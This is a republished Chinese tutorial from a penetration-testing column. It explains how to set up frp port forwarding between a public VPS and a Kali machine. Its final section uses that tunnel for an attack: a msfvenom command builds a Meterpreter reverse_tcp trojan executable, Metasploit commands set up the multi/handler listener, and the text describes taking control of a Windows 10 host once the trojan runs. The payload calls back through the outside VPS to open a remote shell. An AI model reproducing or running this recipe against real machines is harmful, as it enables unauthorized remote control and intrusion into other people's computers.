前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Frp端口转发

Frp端口转发

作者头像
执笔
发布2023-03-15 19:23:04
2K0
发布2023-03-15 19:23:04
举报
文章被收录于专栏:渗透测试执笔

Frp实现端口转发内网穿透

准备工作

1.1 frp是什么

简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容。

截至本文完成,frp的最新版本为v0.31.2,本文使用最新版本。

1.2 需要工具

搭建一个完整的frp服务链,我们需要

  1. VPS一台(也可以是具有公网IP的实体机server)
  2. 访问目标设备(就是你最终要访问的设备本文使用kali Client)

Server服务端配置

2.1查看处理器架构

SSH连接到VPS之后运行如下命令查看处理器架构,根据架构下载不同版本的frp

2.2下载相关版本

Github项目地址:https://github.com/fatedier/frp

下载地址:https://github.com/fatedier/frp/releases

根据架构不同,选择相应版本并进行下载

  • Wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz

2.3解压tar -zxvf frp_0.31.2_linux_amd64.tar.gz 文件夹改个名,方便使用 cp -r frp_0.31.2_linux_amd64 frp 把解压出来的文件夹复制到你想要的目录下,为了方便我直接放在用户目录下了,进入该目录 cd frp查看一下文件 ls -a

由于我们目前配置的是server服务端我们只需关注fps与frps.ini分别是服务端程序和服务端配置文件。

2.4修改frps.ini文件、

如果没有必要,端口均可使用默认值,token、user和password项请自行设置。

  • “bind_port”表示用于客户端和服务端连接的端口,这个端口号我们之后在配置客户端的时候要用到。
  • “dashboard_port”是服务端仪表板的端口,若使用7500端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7500 (其中x.x.x.x为VPS的IP)查看frp服务运行信息。
  • “token”是用于客户端和服务端连接的口令,请自行设置并记录,稍后会用到。
  • “dashboard_user”和“dashboard_pwd”表示打开仪表板页面登录的用户名和密码,自行设置即可。
  • “vhost_http_port”和“vhost_https_port”用于反向代理HTTP主机时使用,本文不涉及HTTP协议,因而照抄或者删除这两条均可。

2.5运行frp服务端

编辑完成后保存

之后我们就可以运行frps的服务端了./frps -c frps.ini 如果看到屏幕输出这样一段内容,即表示运行正常,如果出现错误提示,请检查上面的步骤。

此时访问 x.x.x.x:7500 并使用自己设置的用户名密码登录,即可看到仪表板界面

2.6服务端后台运行

至此,我们的服务端仅运行在前台,如果Ctrl+C停止或者关闭SSH窗口后,frps均会停止运行,因而我们使用 nohup命令将其运行在后台。nohup ./frps -c frps.ini &输出如下内容即表示正常运行

nohup: ignoring input and appending output to 'nohup.out'

此时可先使用Ctrl+C关闭nohup,frps依然会在后台运行,使用jobs命令查看后台运行的程序 在结果中我们可以看到frps正在后台正常运行

[1]+ Running nohup ./frps -c frps.ini &

此时访问 x.x.x.x:7500 依然可以打开仪表板界面,至此,服务端即设置完成,

查看jobs;杀掉进程ps -aux | grep frps 然后kill

三、Cient客户端配置

3.1下载

根据架构不同,选择相应版本并进行下载

Wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz

我的kali是x64版本,重复服务端下载解压步骤就可以了

3.2修改frps.ini文件

由于我们目前配置的是cient只需关注fpc与frpc.ini, 分别是客户端程序和客户端配置文件

其中common字段下的三项即为服务端的设置。

  • “server_addr”为服务端IP地址,填入即可。
  • “server_port”为服务器端口,填入你设置的端口号即可,如果未改变就是7000
  • “token”是你在服务器上设置的连接口令,原样填入即可。

frp实际使用时,会按照端口号进行对应的转发,

上面frpc.ini的rdp、smb字段都是自己定义的规则,自定义端口对应时格式如下。

  • “[xxx]”表示一个规则名称,自己定义,便于查询即可。
  • “type”表示转发的协议类型,有TCP和UDP等选项可以选择,如有需要请自行查询frp手册。
  • “local_port”是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。
  • “remote_port”是该条规则在服务端开放的端口号,自己填写并记录即可。

3.3运行

与服务端运行方式向同,不再述。

FRP后台查看效果。

四、Metasploit渗透windows测试

4.1环境

内网kali攻击机

公网vps

链接手机热点的win10电脑

4.2 msfvenom制作Windows木马程序

由于只是测试frp反向代理+内网穿透+ Metasploit渗透windows,所以这里不提及免杀并且关闭防护软件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=msf对应的公网端口1.exe

lhost:必需设置为你的公网ip

lport:设置你在frpc.ini的[msf] remote_port = xxxx

只有通过服务器的xxxx端口数据包才能成功转发到我们的kali上来,这也是为什么要用frp反向代理原因。

制作好后将11.exe发送到目标Windows上

4.3kali开启监听

msfconsole

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 127.0.0.1 #设置监听ip,必须和frpc中的local_ip 一致

lhost => 127.0.0.1

msf exploit(multi/handler) > set lport xxxx #设置监听端口,与frpc中的local_port一致

lport =>5555

msf exploit(multi/handler) > exploit

注意:

设置监听ip,必须和frpc中的local_ip 一致,也就是必须使用127.0.0.1

设置监听端口,与frpc中的local_port一致

4.4Windows端运行木马

Windows端运行木马,kali端发现win10主机上线成功,控制win10

至此, 反向代理+内网穿透+ Metasploit渗透windows.搭建测试完成。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
作者已关闭评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档